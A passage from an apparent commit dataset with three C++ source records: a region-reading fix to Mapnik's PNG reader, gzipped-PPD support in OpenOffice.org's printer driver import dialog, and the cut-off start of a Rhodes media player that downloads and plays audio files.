fclose(fp);\n throw image_reader_exception(\"failed to create info_ptr\");\n }\n }\n catch (std::exception const& ex)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw;\n }\n\n png_set_read_fn(png_ptr, (png_voidp)fp, png_read_data);\n png_read_info(png_ptr, info_ptr);\n\n if (color_type_ == PNG_COLOR_TYPE_PALETTE)\n png_set_expand(png_ptr);\n if (color_type_ == PNG_COLOR_TYPE_GRAY && bit_depth_ < 8)\n png_set_expand(png_ptr);\n if (png_get_valid(png_ptr, info_ptr, PNG_INFO_tRNS))\n png_set_expand(png_ptr);\n if (bit_depth_ == 16)\n png_set_strip_16(png_ptr);\n if (color_type_ == PNG_COLOR_TYPE_GRAY ||\n color_type_ == PNG_COLOR_TYPE_GRAY_ALPHA)\n png_set_gray_to_rgb(png_ptr);\n\n \/\/ quick hack -- only work in >=libpng 1.2.7\n png_set_add_alpha(png_ptr,0xff,PNG_FILLER_AFTER); \/\/rgba\n\n double gamma;\n if (png_get_gAMA(png_ptr, info_ptr, &gamma))\n png_set_gamma(png_ptr, 2.2, gamma);\n\n if (x0 == 0 && y0 == 0 && image.width() >= width_ && image.height() >= height_)\n {\n\n if (png_get_interlace_type(png_ptr,info_ptr) == PNG_INTERLACE_ADAM7)\n {\n png_set_interlace_handling(png_ptr); \/\/ FIXME: libpng bug?\n \/\/ according to docs png_read_image\n \/\/ \"..automatically handles interlacing,\n \/\/ so you don't need to call png_set_interlace_handling()\"\n }\n png_read_update_info(png_ptr, info_ptr);\n \/\/ we can read whole image at once\n \/\/ alloc row pointers\n boost::scoped_array<png_byte*> rows(new png_bytep[height_]);\n for (unsigned i=0; i<height_; ++i)\n rows[i] = (png_bytep)image.getRow(i);\n png_read_image(png_ptr, rows.get());\n }\n else\n {\n png_read_update_info(png_ptr, info_ptr);\n unsigned w=std::min(unsigned(image.width()),width_);\n unsigned h=std::min(unsigned(image.height()),height_);\n unsigned rowbytes=png_get_rowbytes(png_ptr, info_ptr);\n boost::scoped_array<png_byte> row(new png_byte[rowbytes]);\n \/\/START read image rows\n for (unsigned i=0;i<height_;++i)\n {\n png_read_row(png_ptr,row.get(),0);\n if (i>=y0 && i<h)\n {\n image.setRow(i-y0,reinterpret_cast<unsigned*>(&row[x0]),w);\n }\n }\n \/\/END\n }\n\n png_read_end(png_ptr,0);\n png_destroy_read_struct(&png_ptr, &info_ptr,0);\n fclose(fp);\n}\n}\n<commit_msg>+ fix region reading, so png's can be used in raster.input<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#include <mapnik\/debug.hpp>\n#include <mapnik\/image_reader.hpp>\n#include <mapnik\/noncopyable.hpp>\n\nextern \"C\"\n{\n#include <png.h>\n}\n\n#include <boost\/scoped_array.hpp>\n\nnamespace mapnik\n{\nclass png_reader : public image_reader, mapnik::noncopyable\n{\nprivate:\n std::string fileName_;\n unsigned width_;\n unsigned height_;\n int bit_depth_;\n int color_type_;\npublic:\n explicit png_reader(std::string const& fileName);\n ~png_reader();\n unsigned width() const;\n unsigned height() const;\n bool premultiplied_alpha() const { return false; } \/\/http:\/\/www.libpng.org\/pub\/png\/spec\/1.1\/PNG-Rationale.html\n void read(unsigned x,unsigned y,image_data_32& image);\nprivate:\n void init();\n};\n\nnamespace\n{\nimage_reader* create_png_reader(std::string const& file)\n{\n return new png_reader(file);\n}\nconst bool registered = register_image_reader(\"png\",create_png_reader);\n}\n\npng_reader::png_reader(std::string const& fileName)\n : fileName_(fileName),\n width_(0),\n height_(0),\n bit_depth_(0),\n color_type_(0)\n{\n init();\n}\n\npng_reader::~png_reader() {}\n\nvoid user_error_fn(png_structp png_ptr, png_const_charp error_msg)\n{\n throw image_reader_exception(\"failed to read invalid png\");\n}\n\nvoid user_warning_fn(png_structp png_ptr, png_const_charp warning_msg)\n{\n MAPNIK_LOG_DEBUG(png_reader) << \"libpng warning: '\" << warning_msg << \"'\";\n}\n\nstatic void\npng_read_data(png_structp png_ptr, png_bytep data, png_size_t length)\n{\n png_size_t check;\n check = (png_size_t)fread(data, (png_size_t)1, length,\n (FILE *)png_get_io_ptr(png_ptr));\n\n if (check != length)\n {\n png_error(png_ptr, \"Read Error\");\n }\n}\n\nvoid png_reader::init()\n{\n FILE *fp=fopen(fileName_.c_str(),\"rb\");\n if (!fp) throw image_reader_exception(\"cannot open image file \"+fileName_);\n png_byte header[8];\n memset(header,0,8);\n if ( fread(header,1,8,fp) != 8)\n {\n fclose(fp);\n throw image_reader_exception(\"Could not read \" + fileName_);\n }\n int is_png=!png_sig_cmp(header,0,8);\n if (!is_png)\n {\n fclose(fp);\n throw image_reader_exception(fileName_ + \" is not a png file\");\n }\n png_structp png_ptr = png_create_read_struct\n (PNG_LIBPNG_VER_STRING,0,0,0);\n\n if (!png_ptr)\n {\n fclose(fp);\n throw image_reader_exception(\"failed to allocate png_ptr\");\n }\n\n \/\/ catch errors in a custom way to avoid the need for setjmp\n png_set_error_fn(png_ptr, png_get_error_ptr(png_ptr), user_error_fn, user_warning_fn);\n\n png_infop info_ptr;\n try\n {\n info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw image_reader_exception(\"failed to create info_ptr\");\n }\n }\n catch (std::exception const& ex)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw;\n }\n\n png_set_read_fn(png_ptr, (png_voidp)fp, png_read_data);\n\n png_set_sig_bytes(png_ptr,8);\n png_read_info(png_ptr, info_ptr);\n\n png_uint_32 width, height;\n png_get_IHDR(png_ptr, info_ptr, &width, &height, &bit_depth_, &color_type_,0,0,0);\n\n width_=width;\n height_=height;\n\n MAPNIK_LOG_DEBUG(png_reader) << \"png_reader: bit_depth=\" << bit_depth_ << \",color_type=\" << color_type_;\n\n png_destroy_read_struct(&png_ptr,&info_ptr,0);\n fclose(fp);\n}\n\nunsigned png_reader::width() const\n{\n return width_;\n}\n\nunsigned png_reader::height() const\n{\n return height_;\n}\n\nvoid png_reader::read(unsigned x0, unsigned y0,image_data_32& image)\n{\n FILE *fp=fopen(fileName_.c_str(),\"rb\");\n if (!fp) throw image_reader_exception(\"cannot open image file \"+fileName_);\n\n png_structp png_ptr = png_create_read_struct\n (PNG_LIBPNG_VER_STRING,0,0,0);\n\n if (!png_ptr)\n {\n fclose(fp);\n throw image_reader_exception(\"failed to allocate png_ptr\");\n }\n\n \/\/ catch errors in a custom way to avoid the need for setjmp\n png_set_error_fn(png_ptr, png_get_error_ptr(png_ptr), user_error_fn, user_warning_fn);\n\n png_infop info_ptr;\n try\n {\n info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw image_reader_exception(\"failed to create info_ptr\");\n }\n }\n catch (std::exception const& ex)\n {\n png_destroy_read_struct(&png_ptr,0,0);\n fclose(fp);\n throw;\n }\n\n png_set_read_fn(png_ptr, (png_voidp)fp, png_read_data);\n png_read_info(png_ptr, info_ptr);\n\n if (color_type_ == PNG_COLOR_TYPE_PALETTE)\n png_set_expand(png_ptr);\n if (color_type_ == PNG_COLOR_TYPE_GRAY && bit_depth_ < 8)\n png_set_expand(png_ptr);\n if (png_get_valid(png_ptr, info_ptr, PNG_INFO_tRNS))\n png_set_expand(png_ptr);\n if (bit_depth_ == 16)\n png_set_strip_16(png_ptr);\n if (color_type_ == PNG_COLOR_TYPE_GRAY ||\n color_type_ == PNG_COLOR_TYPE_GRAY_ALPHA)\n png_set_gray_to_rgb(png_ptr);\n\n \/\/ quick hack -- only work in >=libpng 1.2.7\n png_set_add_alpha(png_ptr,0xff,PNG_FILLER_AFTER); \/\/rgba\n\n double gamma;\n if (png_get_gAMA(png_ptr, info_ptr, &gamma))\n png_set_gamma(png_ptr, 2.2, gamma);\n\n if (x0 == 0 && y0 == 0 && image.width() >= width_ && image.height() >= height_)\n {\n\n if (png_get_interlace_type(png_ptr,info_ptr) == PNG_INTERLACE_ADAM7)\n {\n png_set_interlace_handling(png_ptr); \/\/ FIXME: libpng bug?\n \/\/ according to docs png_read_image\n \/\/ \"..automatically handles interlacing,\n \/\/ so you don't need to call png_set_interlace_handling()\"\n }\n png_read_update_info(png_ptr, info_ptr);\n \/\/ we can read whole image at once\n \/\/ alloc row pointers\n boost::scoped_array<png_byte*> rows(new png_bytep[height_]);\n for (unsigned i=0; i<height_; ++i)\n rows[i] = (png_bytep)image.getRow(i);\n png_read_image(png_ptr, rows.get());\n }\n else\n {\n png_read_update_info(png_ptr, info_ptr);\n unsigned w=std::min(unsigned(image.width()),width_ - x0);\n unsigned h=std::min(unsigned(image.height()),height_ - y0);\n unsigned rowbytes=png_get_rowbytes(png_ptr, info_ptr);\n boost::scoped_array<png_byte> row(new png_byte[rowbytes]);\n \/\/START read image rows\n for (unsigned i = 0;i < height_; ++i)\n {\n png_read_row(png_ptr,row.get(),0);\n if (i >= y0 && i < (y0 + h))\n {\n image.setRow(i-y0,reinterpret_cast<unsigned*>(&row[x0 * 4]),w);\n }\n }\n \/\/END\n }\n\n png_read_end(png_ptr,0);\n png_destroy_read_struct(&png_ptr, &info_ptr,0);\n fclose(fp);\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: newppdlg.cxx,v $\n * $Revision: 1.15 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <stdio.h>\n#include <unistd.h>\n#include <psprint\/ppdparser.hxx>\n#include <psprint\/helper.hxx>\n#include <vcl\/svapp.hxx>\n#include <vcl\/mnemonic.hxx>\n#include <tools\/urlobj.hxx>\n#ifndef __SGI_STL_LIST\n#include <list>\n#endif\n#include <osl\/file.hxx>\n#include <helper.hxx>\n#ifndef _PAD_PADIALOG_HRC_\n#include <padialog.hrc>\n#endif\n#include <newppdlg.hxx>\n#include <padialog.hxx>\n#include <progress.hxx>\n\n#define PPDIMPORT_GROUP \"PPDImport\"\n\nusing namespace padmin;\nusing namespace psp;\nusing namespace osl;\nusing namespace rtl;\n\nPPDImportDialog::PPDImportDialog( Window* pParent ) :\n ModalDialog( pParent, PaResId( RID_PPDIMPORT_DLG ) ),\n m_aOKBtn( this, PaResId( RID_PPDIMP_BTN_OK ) ),\n m_aCancelBtn( this, PaResId( RID_PPDIMP_BTN_CANCEL ) ),\n m_aPathTxt( this, PaResId( RID_PPDIMP_TXT_PATH ) ),\n m_aPathBox( this, PaResId( RID_PPDIMP_LB_PATH ) ),\n m_aSearchBtn( this, PaResId( RID_PPDIMP_BTN_SEARCH ) ),\n m_aDriverTxt( this, PaResId( RID_PPDIMP_TXT_DRIVER ) ),\n m_aDriverLB( this, PaResId( RID_PPDIMP_LB_DRIVER ) ),\n m_aPathGroup( this, PaResId( RID_PPDIMP_GROUP_PATH ) ),\n m_aDriverGroup( this, PaResId( RID_PPDIMP_GROUP_DRIVER ) ),\n m_aLoadingPPD( PaResId( RID_PPDIMP_STR_LOADINGPPD ) )\n{\n FreeResource();\n\n String aText( m_aDriverTxt.GetText() );\n aText.SearchAndReplaceAscii( \"%s\", Button::GetStandardText( BUTTON_OK ) );\n m_aDriverTxt.SetText( MnemonicGenerator::EraseAllMnemonicChars( aText ) );\n\n Config& rConfig = getPadminRC();\n rConfig.SetGroup( PPDIMPORT_GROUP );\n m_aPathBox.SetText( String( rConfig.ReadKey( \"LastDir\" ), RTL_TEXTENCODING_UTF8 ) );\n for( int i = 0; i < 11; i++ )\n {\n ByteString aEntry( rConfig.ReadKey( ByteString::CreateFromInt32( i ) ) );\n if( aEntry.Len() )\n m_aPathBox.InsertEntry( String( aEntry, RTL_TEXTENCODING_UTF8 ) );\n }\n\n m_aOKBtn.SetClickHdl( LINK( this, PPDImportDialog, ClickBtnHdl ) );\n m_aCancelBtn.SetClickHdl( LINK( this, PPDImportDialog, ClickBtnHdl ) );\n m_aSearchBtn.SetClickHdl( LINK( this, PPDImportDialog, ClickBtnHdl ) );\n m_aPathBox.SetSelectHdl( LINK( this, PPDImportDialog, SelectHdl ) );\n m_aPathBox.SetModifyHdl( LINK( this, PPDImportDialog, ModifyHdl ) );\n\n if( m_aPathBox.GetText().Len() )\n Import();\n}\n\nPPDImportDialog::~PPDImportDialog()\n{\n while( m_aDriverLB.GetEntryCount() )\n {\n delete (String*)m_aDriverLB.GetEntryData( 0 );\n m_aDriverLB.RemoveEntry( 0 );\n }\n}\n\nvoid PPDImportDialog::Import()\n{\n String aImportPath( m_aPathBox.GetText() );\n\n Config& rConfig = getPadminRC();\n rConfig.SetGroup( PPDIMPORT_GROUP );\n rConfig.WriteKey( \"LastDir\", ByteString( aImportPath, RTL_TEXTENCODING_UTF8 ) );\n\n int nEntries = m_aPathBox.GetEntryCount();\n while( nEntries-- )\n if( aImportPath == m_aPathBox.GetEntry( nEntries ) )\n break;\n if( nEntries < 0 )\n {\n int nNextEntry = rConfig.ReadKey( \"NextEntry\" ).ToInt32();\n rConfig.WriteKey( ByteString::CreateFromInt32( nNextEntry ), ByteString( aImportPath, RTL_TEXTENCODING_UTF8 ) );\n nNextEntry = nNextEntry < 10 ? nNextEntry+1 : 0;\n rConfig.WriteKey( \"NextEntry\", ByteString::CreateFromInt32( nNextEntry ) );\n m_aPathBox.InsertEntry( aImportPath );\n }\n while( m_aDriverLB.GetEntryCount() )\n {\n delete (String*)m_aDriverLB.GetEntryData( 0 );\n m_aDriverLB.RemoveEntry( 0 );\n }\n\n ProgressDialog aProgress( Application::GetFocusWindow() );\n aProgress.startOperation( m_aLoadingPPD );\n\n ::std::list< String > aFiles;\n FindFiles( aImportPath, aFiles, String::CreateFromAscii( \"PS;PPD\" ) );\n\n int i = 0;\n aProgress.setRange( 0, aFiles.size() );\n while( aFiles.size() )\n {\n aProgress.setValue( ++i );\n aProgress.setFilename( aFiles.front() );\n INetURLObject aPath( aImportPath, INET_PROT_FILE, INetURLObject::ENCODE_ALL );\n aPath.Append( aFiles.front() );\n String aPrinterName = PPDParser::getPPDPrinterName( aPath.PathToFileName() );\n aFiles.pop_front();\n\n if( ! aPrinterName.Len() )\n {\n#if OSL_DEBUG_LEVEL > 1\n fprintf( stderr, \"Warning: File %s has empty printer name.\\n\",\n rtl::OUStringToOString( aPath.PathToFileName(), osl_getThreadTextEncoding() ).getStr() );\n#endif\n continue;\n }\n\n USHORT nPos = m_aDriverLB.InsertEntry( aPrinterName );\n m_aDriverLB.SetEntryData( nPos, new String( aPath.PathToFileName() ) );\n }\n}\n\nIMPL_LINK( PPDImportDialog, ClickBtnHdl, PushButton*, pButton )\n{\n if( pButton == &m_aCancelBtn )\n {\n EndDialog( 0 );\n }\n else if( pButton == &m_aOKBtn )\n {\n \/\/ copy the files\n ::std::list< rtl::OUString > aToDirs;\n psp::getPrinterPathList( aToDirs, PSPRINT_PPDDIR );\n ::std::list< rtl::OUString >::iterator writeDir = aToDirs.begin();\n\n for( int i = 0; i < m_aDriverLB.GetSelectEntryCount(); i++ )\n {\n INetURLObject aFile( *(String*)m_aDriverLB.GetEntryData(\n m_aDriverLB.GetSelectEntryPos( i )\n ), INET_PROT_FILE, INetURLObject::ENCODE_ALL );\n OUString aFromUni( aFile.GetMainURL(INetURLObject::DECODE_TO_IURI) );\n\n do\n {\n INetURLObject aToFile( *writeDir, INET_PROT_FILE, INetURLObject::ENCODE_ALL );\n aToFile.Append( aFile.GetName() );\n aToFile.setExtension( String::CreateFromAscii( \"PPD\" ) );\n OUString aToUni( aToFile.GetMainURL(INetURLObject::DECODE_TO_IURI) );\n if( ! File::copy( aFromUni, aToUni ) )\n break;\n ++writeDir;\n } while( writeDir != aToDirs.end() );\n }\n EndDialog( 1 );\n }\n else if( pButton == &m_aSearchBtn )\n {\n String aPath( m_aPathBox.GetText() );\n if( chooseDirectory( aPath ) )\n {\n m_aPathBox.SetText( aPath );\n Import();\n }\n }\n return 0;\n}\n\nIMPL_LINK( PPDImportDialog, SelectHdl, ComboBox*, pListBox )\n{\n if( pListBox == &m_aPathBox )\n {\n Import();\n }\n return 0;\n}\n\nIMPL_LINK( PPDImportDialog, ModifyHdl, ComboBox*, pListBox )\n{\n if( pListBox == &m_aPathBox )\n {\n ByteString aDir( m_aPathBox.GetText(), osl_getThreadTextEncoding() );\n if( ! access( aDir.GetBuffer(), F_OK ) )\n Import();\n }\n return 0;\n}\n<commit_msg>INTEGRATION: CWS vcl89 (1.15.4); FILE MERGED 2008\/05\/07 19:44:47 pl 1.15.4.2: #i72327# support for system ppd dir 2008\/05\/07 17:40:12 pl 1.15.4.1: #i72327# support for gzipped PPD files<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: newppdlg.cxx,v $\n * $Revision: 1.16 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <stdio.h>\n#include <unistd.h>\n#include <psprint\/ppdparser.hxx>\n#include <psprint\/helper.hxx>\n#include <vcl\/svapp.hxx>\n#include <vcl\/mnemonic.hxx>\n#include <tools\/urlobj.hxx>\n#ifndef __SGI_STL_LIST\n#include <list>\n#endif\n#include <osl\/file.hxx>\n#include <helper.hxx>\n#ifndef _PAD_PADIALOG_HRC_\n#include <padialog.hrc>\n#endif\n#include <newppdlg.hxx>\n#include <padialog.hxx>\n#include <progress.hxx>\n\n#define PPDIMPORT_GROUP \"PPDImport\"\n\nusing namespace padmin;\nusing namespace psp;\nusing namespace osl;\nusing namespace rtl;\n\nPPDImportDialog::PPDImportDialog( Window* pParent ) :\n ModalDialog( pParent, PaResId( RID_PPDIMPORT_DLG ) ),\n m_aOKBtn( this, PaResId( RID_PPDIMP_BTN_OK ) ),\n m_aCancelBtn( this, PaResId( RID_PPDIMP_BTN_CANCEL ) ),\n m_aPathTxt( this, PaResId( RID_PPDIMP_TXT_PATH ) ),\n m_aPathBox( this, PaResId( RID_PPDIMP_LB_PATH ) ),\n m_aSearchBtn( this, PaResId( RID_PPDIMP_BTN_SEARCH ) ),\n m_aDriverTxt( this, PaResId( RID_PPDIMP_TXT_DRIVER ) ),\n m_aDriverLB( this, PaResId( RID_PPDIMP_LB_DRIVER ) ),\n m_aPathGroup( this, PaResId( RID_PPDIMP_GROUP_PATH ) ),\n m_aDriverGroup( this, PaResId( RID_PPDIMP_GROUP_DRIVER ) ),\n m_aLoadingPPD( PaResId( RID_PPDIMP_STR_LOADINGPPD ) )\n{\n FreeResource();\n\n String aText( m_aDriverTxt.GetText() );\n aText.SearchAndReplaceAscii( \"%s\", Button::GetStandardText( BUTTON_OK ) );\n m_aDriverTxt.SetText( MnemonicGenerator::EraseAllMnemonicChars( aText ) );\n\n Config& rConfig = getPadminRC();\n rConfig.SetGroup( PPDIMPORT_GROUP );\n m_aPathBox.SetText( String( rConfig.ReadKey( \"LastDir\" ), RTL_TEXTENCODING_UTF8 ) );\n for( int i = 0; i < 11; i++ )\n {\n ByteString aEntry( rConfig.ReadKey( ByteString::CreateFromInt32( i ) ) );\n if( aEntry.Len() )\n m_aPathBox.InsertEntry( String( aEntry, RTL_TEXTENCODING_UTF8 ) );\n }\n\n m_aOKBtn.SetClickHdl( LINK( this, PPDImportDialog, ClickBtnHdl ) );\n m_aCancelBtn.SetClickHdl( LINK( this, PPDImportDialog, ClickBtnHdl ) );\n m_aSearchBtn.SetClickHdl( LINK( this, PPDImportDialog, ClickBtnHdl ) );\n m_aPathBox.SetSelectHdl( LINK( this, PPDImportDialog, SelectHdl ) );\n m_aPathBox.SetModifyHdl( LINK( this, PPDImportDialog, ModifyHdl ) );\n\n if( m_aPathBox.GetText().Len() )\n Import();\n}\n\nPPDImportDialog::~PPDImportDialog()\n{\n while( m_aDriverLB.GetEntryCount() )\n {\n delete (String*)m_aDriverLB.GetEntryData( 0 );\n m_aDriverLB.RemoveEntry( 0 );\n }\n}\n\nvoid PPDImportDialog::Import()\n{\n String aImportPath( m_aPathBox.GetText() );\n\n Config& rConfig = getPadminRC();\n rConfig.SetGroup( PPDIMPORT_GROUP );\n rConfig.WriteKey( \"LastDir\", ByteString( aImportPath, RTL_TEXTENCODING_UTF8 ) );\n\n int nEntries = m_aPathBox.GetEntryCount();\n while( nEntries-- )\n if( aImportPath == m_aPathBox.GetEntry( nEntries ) )\n break;\n if( nEntries < 0 )\n {\n int nNextEntry = rConfig.ReadKey( \"NextEntry\" ).ToInt32();\n rConfig.WriteKey( ByteString::CreateFromInt32( nNextEntry ), ByteString( aImportPath, RTL_TEXTENCODING_UTF8 ) );\n nNextEntry = nNextEntry < 10 ? nNextEntry+1 : 0;\n rConfig.WriteKey( \"NextEntry\", ByteString::CreateFromInt32( nNextEntry ) );\n m_aPathBox.InsertEntry( aImportPath );\n }\n while( m_aDriverLB.GetEntryCount() )\n {\n delete (String*)m_aDriverLB.GetEntryData( 0 );\n m_aDriverLB.RemoveEntry( 0 );\n }\n\n ProgressDialog aProgress( Application::GetFocusWindow() );\n aProgress.startOperation( m_aLoadingPPD );\n\n ::std::list< String > aFiles;\n FindFiles( aImportPath, aFiles, String( RTL_CONSTASCII_USTRINGPARAM( \"PS;PPD;PS.GZ;PPD.GZ\" ) ), true );\n\n int i = 0;\n aProgress.setRange( 0, aFiles.size() );\n while( aFiles.size() )\n {\n aProgress.setValue( ++i );\n aProgress.setFilename( aFiles.front() );\n INetURLObject aPath( aImportPath, INET_PROT_FILE, INetURLObject::ENCODE_ALL );\n aPath.Append( aFiles.front() );\n String aPrinterName = PPDParser::getPPDPrinterName( aPath.PathToFileName() );\n aFiles.pop_front();\n\n if( ! aPrinterName.Len() )\n {\n#if OSL_DEBUG_LEVEL > 1\n fprintf( stderr, \"Warning: File %s has empty printer name.\\n\",\n rtl::OUStringToOString( aPath.PathToFileName(), osl_getThreadTextEncoding() ).getStr() );\n#endif\n continue;\n }\n\n USHORT nPos = m_aDriverLB.InsertEntry( aPrinterName );\n m_aDriverLB.SetEntryData( nPos, new String( aPath.PathToFileName() ) );\n }\n}\n\nIMPL_LINK( PPDImportDialog, ClickBtnHdl, PushButton*, pButton )\n{\n if( pButton == &m_aCancelBtn )\n {\n EndDialog( 0 );\n }\n else if( pButton == &m_aOKBtn )\n {\n \/\/ copy the files\n ::std::list< rtl::OUString > aToDirs;\n psp::getPrinterPathList( aToDirs, PRINTER_PPDDIR );\n ::std::list< rtl::OUString >::iterator writeDir = aToDirs.begin();\n\n for( int i = 0; i < m_aDriverLB.GetSelectEntryCount(); i++ )\n {\n INetURLObject aFile( *(String*)m_aDriverLB.GetEntryData(\n m_aDriverLB.GetSelectEntryPos( i )\n ), INET_PROT_FILE, INetURLObject::ENCODE_ALL );\n OUString aFromUni( aFile.GetMainURL(INetURLObject::DECODE_TO_IURI) );\n\n do\n {\n INetURLObject aToFile( *writeDir, INET_PROT_FILE, INetURLObject::ENCODE_ALL );\n aToFile.Append( aFile.GetName() );\n OUString aToUni( aToFile.GetMainURL(INetURLObject::DECODE_TO_IURI) );\n if( ! File::copy( aFromUni, aToUni ) )\n break;\n ++writeDir;\n } while( writeDir != aToDirs.end() );\n }\n EndDialog( 1 );\n }\n else if( pButton == &m_aSearchBtn )\n {\n String aPath( m_aPathBox.GetText() );\n if( chooseDirectory( aPath ) )\n {\n m_aPathBox.SetText( aPath );\n Import();\n }\n }\n return 0;\n}\n\nIMPL_LINK( PPDImportDialog, SelectHdl, ComboBox*, pListBox )\n{\n if( pListBox == &m_aPathBox )\n {\n Import();\n }\n return 0;\n}\n\nIMPL_LINK( PPDImportDialog, ModifyHdl, ComboBox*, pListBox )\n{\n if( pListBox == &m_aPathBox )\n {\n ByteString aDir( m_aPathBox.GetText(), osl_getThreadTextEncoding() );\n if( ! access( aDir.GetBuffer(), F_OK ) )\n Import();\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/..\/shared\/generated\/cpp\/MediaplayerBase.h\"\n#include \"net\/INetRequest.h\"\n#include \"RhoFile.h\"\n\nnamespace rho {\n\nusing namespace apiGenerator;\n\nstd::wstring s2ws(const std::string& s)\n{\n int len;\n int slength = (int)s.length() + 1;\n len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0); \n wchar_t* buf = new wchar_t[len];\n MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);\n std::wstring r(buf);\n delete[] buf;\n return r;\n}\n\nclass CMediaplayerImpl: public CMediaplayerBase\n{\npublic:\n CMediaplayerImpl(const rho::String& strID): CMediaplayerBase()\n {\n }\n};\n\nclass CMediaplayerSingleton: public CMediaplayerSingletonBase\n{\n\n\tstatic HANDLE\tm_hPlayThread;\t\t\t\/\/\/ Handle to player thread\n\tstatic HANDLE\tm_hPlayProcess;\t\t\t\/\/\/ Handle to player process\n\tstatic StringW lFilename;\n\n ~CMediaplayerSingleton(){}\n virtual rho::String getInitialDefaultID();\n virtual void enumerate(CMethodResult& oResult);\n\n\t\/**\n\t* Function to kill the player thread so that VideoCapture can unlock\n\t* any in-use media files\n\t*\/\n\tvoid KillPlayer()\n\t{\n\t\tif (m_hPlayProcess)\n\t\t{\n\t\t\tTerminateProcess(m_hPlayProcess, -1);\n\t\t\tWaitForSingleObject(m_hPlayProcess, 500);\n\t\t\tCloseHandle(m_hPlayProcess);\n\t\t\tm_hPlayProcess = NULL;\n\t\t}\n\t\tif (m_hPlayThread)\n\t\t{\n\t\t\tTerminateThread(m_hPlayThread, -1);\n\t\t\tCloseHandle(m_hPlayThread);\n\t\t\tm_hPlayThread = NULL;\n\t\t}\n\t}\n\n\tbool playLocalAudio()\n\t{\n\t\tLOG(INFO) + __FUNCTION__ + \": playLocalAudio called\";\n\t\tm_hPlayThread = CreateThread(NULL, 0, (&rho::CMediaplayerSingleton::playThreadProc), this, 0, NULL);\n\t\treturn (m_hPlayThread != NULL);\n\t}\n\n\tstatic DWORD WINAPI playThreadProc(LPVOID lpParam)\n\t{\n\t\tDWORD dwRet = S_OK;\n\n\t\tCMediaplayerSingleton *pMediaplayer = (CMediaplayerSingleton *)lpParam;\n\n\t\tif (pMediaplayer)\n\t\t{\n\t\t\tLOG(INFO) + __FUNCTION__ + \"pMediaplayer object exists: using lFilename: \" + lFilename.c_str(); \n\t\t\tif (!PlaySound(lFilename.c_str(), NULL, SND_FILENAME|SND_SYNC|SND_NODEFAULT)) {\n\t\t\t\tLOG(INFO) + __FUNCTION__ + \" PlaySound function failed \";\n\t\t\t\tdwRet = false;\n\t\t\t}\n\n\t\t\tCloseHandle(pMediaplayer->m_hPlayThread);\n\t\t\tpMediaplayer->m_hPlayThread = NULL;\n\t\t}\n\n\t\treturn dwRet;\n\t}\n\t\n\t\/\/ Play an audio file.\n\tvirtual void start( const rho::String& filename, rho::apiGenerator::CMethodResult& oResult)\n\t{\n\t\t\/\/ Check that the filename is not empty or NULL.\n\t\tif (!filename.empty() && (!m_hPlayThread))\n\t\t{\n\t\t\t\/\/ Download the audio file and store name in lFilename\n\t\t\tif(String_startsWith(filename, \"http:\/\/\") || String_startsWith(filename, \"https:\/\/\"))\n\t\t\t{\n\t\t\t\trho::common::CRhoFile::deleteFile(\"download.wav\");\n\t\t\t\t\/\/ Networked code\n\t\t\t\tLOG(INFO) + __FUNCTION__ + \"Attempting to download the file. \" + filename;\n\t\t\t\tNetRequest oNetRequest;\n\t\t\t\tHashtable<String,String> mapHeaders;\n\t\t\t\tbool overwriteFile = true;\n\t\t\t\tbool createFolders = false;\n\t\t\t\tbool fileExists = false;\n\t\t\t\tString& newfilename = 